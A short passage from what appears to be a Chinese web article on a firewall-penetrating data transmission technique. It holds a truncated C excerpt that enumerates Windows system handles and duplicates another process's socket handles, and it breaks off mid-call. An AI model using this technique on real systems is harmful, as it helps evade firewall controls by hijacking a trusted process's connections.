一种新的穿透防火墙的数据传输技术

    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )
                && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation...
                                            // May be it's different in your system,
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
                if( 0 == DuplicateHandle(

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TAG标签:	技术 防火墙 if NULL return printf // the buf 进程